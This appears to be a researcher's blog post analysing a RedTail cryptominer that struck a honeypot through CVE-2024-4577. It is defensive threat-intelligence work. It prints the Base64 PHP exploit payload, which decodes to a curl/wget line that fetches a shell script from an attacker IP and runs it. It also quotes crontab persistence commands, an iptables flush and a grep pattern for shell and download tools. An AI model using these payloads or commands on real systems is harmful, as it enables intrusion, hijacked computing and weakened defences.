How Long Can a Vulnerable Server Stay Clean on the Internet? A Honeypot Tale
I am often asked how long an exposed machine can remain connected before being targeted. Just the other day, I was reviewing the initial results of an honeypot I had set up only minutes earlier when I noticed the first exploitation attempts. And, of course, it was a cryptominer.
First stage
In this case, the attacker was automatically trying to exploit CVE-2024-4577, which affects certain versions of PHP 8 when using Apache and PHP-CGI on Windows.
The Base64-encoded payload was as follows:'<?php shell_exec(base64_decode(""WD0kKGN1cmwgaHR0cDovLzk0LjE1Ni4xNzcuMTA5L3NoIHx8IHdnZXQgaHR0cDovLzk0LjE1Ni4xNzcuMTA5L3NoIC1PLSk7IGVjaG8gIiRYIiB8IHNoIC1zIGN2ZV8yMDI0XzQ1Nzcuc2VsZnJlcA': '="")); echo(md5(""Hello CVE-2024-4577"")); ?>'
Using CyberChef, it is possible to decode this payload:
It then becomes trivial to retrieve the address of the first-stage payload, which is a .sh script. I have added comments to this script for better clarity:
Second stage payloads
This script is used to download, in turn, another script (named clean), which the attacker uses to remove previous malicious activity, as well as a second-stage binary for malicious purposes. The script checks for and bypasses noexec restrictions to find a directory where execution is allowed.
To download the aforementioned files, it employs multiple methods (wget, curl, or a direct TCP socket), likely to avoid reliance on specific programs.
The cleaner script is primarily used to remove c3pool_miner, another cryptominer that may have previously infected the machine and could be running as a service.
Figure: cleaning bash script
The malware also deletes the existing crontab, likely to remove any previously installed cryptominer running on the target. In particular, the command:
grep -vE 'wget|curl|/dev/tcp|/tmp|\.sh|nc|bash -i|sh -i|base64 -d' "$1"
appears to be designed to remove lines containing suspicious commands commonly used by malware (wget, curl, nc, base64, etc.).
The first-stage payload then checks the architecture of the target to deliver an appropriate payload that will be executable on it. This ensures compatibility across various environments and architectures. Finally, the next-stage payload is renamed redtail and executed.
Last stage payload
I chose to focus my investigation on the sample named x86_64. According to static analysis, this binary is packed using UPX.
Figure: the final payload is encrypted using UPX
It is then easy to decrypt it and gather more information about the malware.
Figure: decrypting the UPX encrypted payload
The binary is a 64-bit .ELF executable written in C (though you probably already guessed the 64-bit part from the file name itself…).
Figure: decrypted payload’s information
The file is flagged as malicious by several antivirus programs on VirusTotal and is identified by multiple vendors as a cryptominer.
Figure: Antivirus detection of the binary on VirusTotal.
I am not a specialist, but several strings appear to reference various implementations or variants of the CryptoNight hashing algorithm, which is widely used in certain cryptocurrencies, most notably Monero.
Figure: Cryptocurrencies related strings
It is also possible to infer from some of the strings within the malware the various cryptocurrencies the attacker is attempting to mine: Monero, Sumokoin, ArQma, Graft, Ravencoin, Wonwero, Zephyr, Townforge, YadaCoin, etc.
Lastly, several strings indicate that this malware is a variant of the infamous XMRig tool.
Figure: strings related to XMRIG
While searching the internet, I found several articles mentioning the malware we are investigating (see references). As Akamai puts it:
« The threat actors embedded XMRig’s code into their own code and added their own logic before and after it. »
Akamai Blog – 2024 Redtail Cryptominer PAN-OS CVE Exploit
Features
To confirm Akamai’s findings, I delved into the code. To be clear, I did not analyze all of it. However, I spotted several interesting functions. For example, using the commands C and S, the attacker seems to be able to view the malware’s connection details and mining results, respectively.
Figure: The attacker can print the top 10 mining results, the calculating difficulty and the effort percentage.
This feature can also be found in the XMRig code on GitHub:
Figure: Screenshot of XMRig’s GitHub repository.
Figure: The attacker can also print information about the connection.
This feature is also present in XMRIG code, as shown in the screenshot below:
Figure: Screenshot of XMRig’s GitHub repository.
So, we can confirm with high confidence that XMRIG’s code was incorporated into the malware’s own code. However, the attacker did not merely copy XMRIG’s code; they also added additional capabilities.
For example, an interesting feature that I could not find in XMRIG’s code concerns the function sub_318DF0. This function accesses multiple system paths related to CPU frequency and capacity, likely to configure the infected machine in a way that maximizes mining efficiency.
/sys/devices/system/cpu/cpu%d/cpufreq/cpuinfo_max_freq/sys/devices/system/cpu/cpu%d/cpufreq/base_frequency/sys/devices/system/cpu/cpu%d/acpi_cppc/nominal_freq/sys/devices/system/cpu/cpu%d/cpu_capacity/sys/devices/cpu_atom/cpus/sys/devices/cpu_core/cpus
The thing is that a large part of the code remains encrypted, probably for obfuscation purposes. It is possible to spot several decryption routines using hardcoded keys.
Figure: decryption routine inside RedTails.
I did not venture further into the realm of .ELF reversing, mainly because it is not my forte (in fact, I don’t have a forte at all ^). Moreover, I did not want to spend too much time trying to understand the encryption mechanism protecting the malware’s configuration. That’s why I opted for dynamic analysis on Any.Run.
Dynamic analysis revealed that the malware removes existing cron jobs and creates a new one to ensure that x86_64 is automatically executed every time the system reboots—a typical persistence technique.
sh -c "crontab -r >/dev/null 2>&1; echo \"@reboot /tmp/x86_64\.bin\.elf\" | crontab -"
From what I could gather, the malware also delete all existing firewall rules and inserts a new rule to allow incoming TCP connections on port 45971.
sh -c "iptables -F >/dev/null 2>&1; iptables -I INPUT -p tcp --dport 45971 -j ACCEPT >/dev/null 2>&1"
Thanks to dynamic analysis, it is easy to identify the malware’s C2 server. The malware connects to this C2 server on port 43782.
Figure: C2 of the analysed RedTail.
The malware also tried to connect on port 2137 to the domain proxies.internetshadow[.]org, which was registered nine months ago.
While the domain is not known for being malicious, it appears to have been resolved to a number of IP addresses flagged as malicious.
Figure: DNS relationships of proxies.internetshadow[.]org
This domain does not seem to be resolved at the moment. I don’t know, though, if this is some kind of (legitimate?) proxy being used for malicious purposes or if the domain name was chosen to blend into network traffic. Feel free to share any information you may have on this domain!
A well-practiced technique
According to several sources (ISC SANS, Akamai), the threat actor behind this miner is known for exploiting one-day vulnerabilities to gain an initial foothold on their targets.
However, while I didn’t investigate too deeply, I did not find any prior references to CVE-2024-4577 in existing literature (though that may still be the case).
In this regard, it is worth noting that the attacker attempted to exploit multiple vulnerabilities on my honeypot, as shown in the screenshot below.
Figure: different attempt at exploitation of my honeypot
Conclusion:
The attacker tried to exploit several vulnerabilities to deploy its cryptominer. So, regarding the question of how long a vulnerable machine remains safe on the internet… the answer likely depends on the specific vulnerability, but a few minutes may be enough for an attacker to compromise it. And among the most aggressive and potentially overlooked threats are cryptominers.
IoCs:
Hash
3e10d68be4081039f657a5ee55000ae46161185a
Domain
proxies.internetshadow[.]org
IPv4
219[.]153[.]12[.]42
130[.]61[.]23[.]4,
101[.]66[.]172[.]251
94[.]156[.]177[.]109
196[.]251[.]70[.]219
References:
isc.sans.edu/diary/Examining+Redtail+Analyzing+a+Sophisticated+Cryptomining+Malware+and+its+Advanced+Tactics+Guest+Diary/31568
www.akamai.com/blog/security-research/2024-redtail-cryptominer-pan-os-cve-exploit)
www.forescout.com/blog/new-redtail-malware-exploited-via-php-security-vulnerability/